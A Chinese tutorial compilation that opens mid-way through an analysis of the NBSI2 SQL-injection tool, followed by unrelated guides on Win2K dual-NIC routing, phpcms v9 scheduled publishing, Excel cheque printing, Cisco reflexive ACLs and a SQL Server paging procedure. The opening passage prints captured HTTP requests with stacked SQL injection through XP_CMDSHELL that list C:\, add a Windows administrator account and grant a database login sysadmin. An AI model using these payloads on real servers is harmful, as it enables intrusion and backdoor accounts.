Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80%3BEXEC+MASTER%2E%2EXP%5FCMDSHELL+%27Dir+C%3A%5C+%3E+C%
3A%5CNB%5FCommander%5FTxt%2Elog%27%3BDROP+TABLE+NB%5FCommander%5FTmp%3BCREATE+TABLE+NB%5FCommander%5FTmp%
28ResultTxt+varchar%287996%29+NULL%29%3BBULK+INSERT+%5Btestdb%5D%2E%2E%5BNB%5FCommander%5FTmp%5D+FROM+%27C%3A%5CNB%
5FCommander%5FTxt%2Elog%27+WITH+%28KEEPNULLS%29%3BAlter+Table+NB%5FCommander%5FTmp+add+ID+int+NOT+NULL+IDENTITY+%281%2C1%29%
2D%2D
ID=N
...............
输出显示:
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
...
...
...
如果正常没有问题,会输出C:\下所有的文件,出现上面的提示,可能原因是数据表NB_Commander_Tmp没有创建成功,因此不能正确输出。
////////////////////////////////////////////////
不回显抓包分析:
Dos命令 Dir C:\
GET /article_read.asp?id=80;EXEC%20MASTER..XP_CMDSHELL%20'Dir%20C:\'-- HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80%3BDROP+TABLE+NB%5FCommander%5FTmp%3BEXEC+MASTER%2E%2EXP%
5FCMDSHELL+%27DEL+C%3A%5CNB%5FCommander%5FTxt%2Elog%27%2D%2D
即:article_read.asp?id=80;EXEC MASTER..XP_CMDSHELL 'Dir C:\'--
不需要显示输出结果。
输出显示:
命令执行完成
////////////////////////////////////////////////
Dos命令:
net user TsInternetUsers Password /add
GET /article_read.asp?id=80;EXEC%20MASTER..XP_CMDSHELL%20'net%20user%20TsInternetUsers%20Password%20/add'-- HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80%3BEXEC+MASTER%2E%2EXP%5FCMDSHELL+%27Dir+C%3A%5C%27%2D%2D
执行其它Dos命令都同上。
id=80;EXEC MASTER..XP_CMDSHELL 'net user TsInternetUsers Password /add'--
id=80;EXEC MASTER..XP_CMDSHELL 'net localgroup administrators TsInternetUsers /add'--
执行SQL命令(同执行Dos命令)
GET /article_read.asp?id=80;exec%20master..sp_addlogin%20UserName,Password-- HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80%3BEXEC+MASTER%2E%2EXP%5FCMDSHELL+%
27net+user+TsInternetUsers+Password+%2Fadd%27%2D%2D
id=80;exec master..sp_addlogin UserName,Password--
id=80;exec master..sp_addsrvrolemember UserName,sysadmin--
....
////////////////////////////////////////////////
到此,Nb2的主要功能分析完毕,其它的功能大家可以自己分析,第一次写这么长的文章,可能很乱,也一定存在不少问题,不过实在没有精力
去逐字修改了,希望大家能看明白。谢谢!
hnxyy(虚空)
/11/26 晚 10:30
篇6:路由器DIY:用两张网卡实现网卡路由功能
1.关于路由器
路由器(Route)是一种负责寻径的系统,在互连网络中从多条路径中寻找通讯量最少的一条网络路径提供给用户通信,它使用寻径协议来获得网络信息,采用基于寻径矩阵的寻径算法和准则来选择最优路径。按照OSI参考模型,路由器是一个网络层系统。路由器分为单协议路由器和多协议路由器。假设现在有网段1192.168.1.n(接到HUB1)和网段2192.168.2.n(接到HUB2)两个网段,分别连接到两个集线器(HUB)上,而这两个HUB之间又被直接相互连接着。现在要求两个网段之间能够相互Ping通,并且可以通过网上邻居互访。由于路由器价格较高,因此,像这种普通的访问完全可以通过Win2K自带的路由和拨号连接服务,利用两张网卡来实现网卡路由的功能!
2.网络硬件连接
1)确保192.168.1.n网段中的计算机均已连接到HUB1上了;192.168.2.n网段中的计算机均已连接到HUB2上;再用一条双绞线将HUB1和HUB2直接连接起来。
2)确保Win2K服务器已安装好了两张网卡,则用双绞线将HUB1和网卡1(任意一张)连接起来;再用另一条双绞线将HUB2和网卡2(另一张网卡)连接起来。
3.TCP/IP属性设置
1)在Win2K服务器中,打开控制面板中的网络和拨号连接,如果两张网卡均已安装成功,则可以看到其中有两个本地连接。接着,在网卡1上单击右键,选属性以打开此本地连接的属性设置窗口。
2)接上一步,再在本地连接属性设置窗口中转到常规项,然后在其组件列表中双击Internet协议(TCP/IP)以进入TCP/IP属性设置窗口。
3)接上一步,在TCP/IP属性设置窗口中点选中使用下面的IP地址,再在其IP地址处输入192.168.1.1,子网掩码处为255.255.255.0,其他项目不用再填,直接确定即可,
4)经过上面的步骤,就将网卡1绑定了IP地址192.168.1.1;它同时也将是网段1客户端的默认网关地址。
5)再用同样的方法,将网卡2绑定好IP地址192.168.2.1;它同时也将是网段2客户端的默认网关地址。
6)再去设置好所有的客户机端,将它们的默认网关地址和默认DNS服务器地址均设置为本网段内的网关地址(即相应段中Win2K网卡所绑定的那个IP地址)即可。
4.配置Win2K路由器
1)在Win2K服务器中,依次选开始菜单中的程序管理工具路由和远程访问,则可以进入路由器的配置主窗口。不过默认的,此时服务器状态将尚未配置。
2)在主窗口的左侧树栏中的SERVER(服务器名)处单击右键,选配置并启用路由和远程访问,以打开此服务的安装向导。
3)在安装向导中,当出现公共设置时,点选中网络路由器再下一步。
4)接下来会要求选择路由所需的协议,此时在协议列表框中应该至少已有了TCP/IP一项,直接点选中是,所有可用的协议都在列表上再下一步继续。
5)此时系统又询问:您想通过请求拨号来访问远程网络吗?由于本处不需通过拨号访问远程网络,因此点选中否再下一步即可完成路由器的配置工作!而在路由和远程访问的主窗口中即可以看到已经完成了相关操作。
6)不需要重新启动计算机,即可使用其网卡路由功能了!
5.实际连接效果
1)则在任何一个网段的任意一台计算机中,均可Ping通包括本网段、另一个网段还有Win2K服务器在内的所有计算机的IP地址!
2)此时打开任意一台计算机的网上邻居,也可以看到所有计算机的名字都已被加入到列表来了!双击计算机名即可访问其所共享出来的资源。
篇7:phpcms v9实现内容定时发布功能二次开发教程
phpcms v9实现内容定时发布功能二次开发教程,注意本功能不适用于生成静态的网站,
首先把栏目的工作流设置成“一级审核”
然后,在phpcms/modules/content/ 文件夹里新建一个文件命名:MY_index.php
内容如下:
本帖隐藏的内容需要回复才可以浏览
defined('IN_PHPCMS') or exit('No permission resources.');
//模型缓存路径
class MY_index extends index {
private $db;
function __construct {
$this->db = pc_base::load_model('content_model');
parent::__construct();
$this->dingshi();
}
//定时发布
public function dingshi() {
$this->content_check_db = pc_base::load_model('content_check_model');
$ids = $this->content_check_db->select('status=1 and username=“phpcms8” and inputtime<='.SYS_TIME,'checkid');
foreach($ids as $k)
{
$k1 = explode('-',$k['checkid']);
$this->db->set_model($k1[2]);
$this->db->status($k1[1]);
}
}
}
?>
这样,当有用户通过动态地址访问你的content模快时,如果定时到了,文章就会自动审核发布,
注意:
1、生成静态的网站要用的话,可以把网站默认文档设置成index.php优先于index.html,这样当访问首页时也有效果。
2、设置栏目为“一级审核”,发布定时文章时,除了选择发布时间外,还要把状态设置为“审核”。
3、定时发布的文章很多时建议使用“fsockopen”伪异步处理,否则出发定时发布的会员会很卡。
4、修改username=“phpcms8”中的phpcms8为你的管理员用户名。
OK,phpcms v9内容定时发布功能实现。
篇8:用EXCEL实现机打支票EXCEL基本教程
笔者所在的公司业务繁杂,每天的银行收付款业务更是让人烦恼,别的不说,光手工开支票一项工作,一方面累,另一方面更是容易出错,出错之后怎么办呢?只有等挨板子的处理结果了,苦则思变,通过使用EXCEL表格达到实现机打支票的目的,既省下专门买软件方面的银子,又便于减少出错的机率,具体操作如下:
首先建立一张EXCEL文件:
(图一)
(图二)
EXCEL文件名字你就随便起了(图一),EXCEL文件里面你可以按不同的打印机格式设计好不同的工作表,如图二。
按我们公司现在使用的支票(见图三)设计好EXCE工作表中的基本内容。如图四所示,图中红色椭圆圈内是需要手工输入内容,即支票存根栏内容(包括开票日期、收款单位名称、小写金额、用途等),蓝色方框内为通过表内公式自动计算形成内容,即撕下后开给持票人的那部分内容。
(图三)
(图四)
(图五)
大写“年”单元格的内容,我是直接输成“贰零零陆”,反正一年输一次,能耍懒就耍懒一次;金额大写单元格内公式主要是使用了“IF”、“TEXT”、“OR”和“INT”等函数,单元格内公式我是这样设置的“=IF(C10<0,“金额为负无效”,IF(OR(C10=0,C10=“”),“零元整”,IF(C10<1,“”,TEXT(INT(C10),“[dbnum2]G/通用格式”)&“元”))) & IF(INT(C10*10)-INT(C10)*10=0,IF(INT(C10)*(INT(C10*100)-INT(C10*10)*10)=0,“”,“零”),TEXT(INT(C10*10)-INT(C10)*10,“[dbnum2]”)&“角”)&IF((INT(C10*100)-INT(C10*10)*10)=0,“整”,TEXT((INT(C10*100)-INT(C10*10)*10),“[dbnum2]”)&“分”)”。
(图六)
下面是小写金额的自动形成过程,基本上分为这么几步:
第一步是将小写金额单元格属性设置为文本格式(图六中紫色方框内的单元格);
第二步是在表内空
关 键 字:EXCEL
篇9:用访问控制列表实现网络单向访问服务器教程
简易拓扑图(所有子网掩码均为255.255.255.0):
PC(10.1.1.2)---E0(10.1.1.1)[RouterA]S0(192.1.1.1)---S1(192.1.1.2)[RouterB]
做网络的单向访问其实实现的是防火墙的基本功能:我是内网,你是外网,我能访问你,但你不能访问我,
所以现在假设RouterA的E0口所连网段为内网段,RouterA S0所连的网段为外网段,还假设我想做的是内网的PC机能ping通外网RouterB的S1口,但RouterB却ping不进我的内网。
用ACL来实现类似的单向访问控制需要用到一种特殊的ACL,叫Reflexive ACL。Reflexive ACL的配置分为两个部分,一部分是outbound的配置,一部分是inbound的配置。
在继续下面的说明之前,先说点题外话。在最开始想到单向访问问题时,我(也包括其它一些我的同事)自然的就这么想:那我在E0口上允许PC的流量进来,然后再在S0口上禁止RouterB的流量进来不就行了?看上去好像没什么问题,但一试就知道其实是不行的。为什么不行呢,因为很多人都忽略了这么一个问题:即绝大多数的网络流量都是有去有回的,上面的方法只解决了去的问题,但这个流量在到达RouterB后,RouterB还需要返回这个流量给PC,这个返回的流量到了RouterA的S0口,但上面的方法却在S0口上禁止了RouterB的流量进来,回来的流量被挡住了,通讯失败。
好,下面再切回来。Reflexive ACL中outbound的部分决定了我出去的哪些内网网络流量是需要被单向访问的,inbound部分决定了这些流量在返回后能被正确的识别并送给内网发起连接的PC机,
Reflexive ACL中outbound的部分:
ip access-list extended outbound_filter
permit icmp any any reflect icmp_traffic
permit ip any any
!---注意在Reflexive ACL中只能用named方式的ACL,不能用numbered方式的ACL。
!---基本配置和普通ACL并没有什么太多不同,不同之处是reflect icmp_traffic,它的意思是这条ACE作为单向流量来处理,并且给了一个名称叫icmp_traffic,icmp_traffic在inbound部分被引用。
!---permit ip any any并不是必要的,加在这里是为了另一个测试,下面会说明。
Reflexive ACL中inbound的部分:
ip access-list extended inbound_filter
evaluate icmp_traffic
deny ip any any log
!---inbound的配置有和普通ACL有点不同了,第一句evaluate icmp_traffic对上述outbound配置中的icmp_traffic进行了引用,也就是说,它要检查从外网进来的流量,如果这个流量确实是从内网发起的对外访问的返回流量,那么允许这个流量进来。
篇10:分页存储过程(用存储过程实现数据库的分页代码)数据库教程
复制代码代码如下:
--*******************************************************
--* 分页存储过程 *
--* 撒哈拉大森林 *
--* 2010-6-28 *
--*******************************************************
if exists(select * from sysobjects where type='P' and name=N'P_Paging')
drop procedure P_Paging
go
create procedure P_Paging
@SqlStr nvarchar(4000), --查询字符串
@CurrentPage int, --第N页
@PageSize int --每页行数
as
set nocount on
declare @P1 int, --P1是游标的id
@rowcount int
exec sp_cursoropen @P1 output,@SqlStr,@scrollopt=1,@ccopt=1,@rowcount=@rowcount output
select ceiling(1.0*@rowcount/@PageSize) as 总页数--,@rowcount as 总行数,@CurrentPage as 当前页
set @CurrentPage=(@CurrentPage-1)*@PageSize+1
exec sp_cursorfetch @P1,16,@CurrentPage,@PageSize
exec sp_cursorclose @P1
set nocount off
go
----创建测试表
--if exists(select * from sysobjects where type='U' and name=N'Test_Students')
-- drop table Test_Students
--go
--create table Test_Students(
-- id int IDENTITY(1,1) not null,
-- name nvarchar(100) not null
--)
--
----创建测试数据
--declare @i int
--set @i = 100000
--while @i>0
-- begin
-- insert into Test_Students values('姓名')
-- set @i = @i - 1
-- end
--
----执行存储过程
--exec P_Paging 'select * from Test_Students order by id',100,100 --执行
--
----删除测试表
--if exists(select * from sysobjects where type='U' and name=N'Test_Students')
-- drop table Test_Students
--go
★如何在Oracle 中实现类似自动增加 ID 的功能?数据库教程
文档为doc格式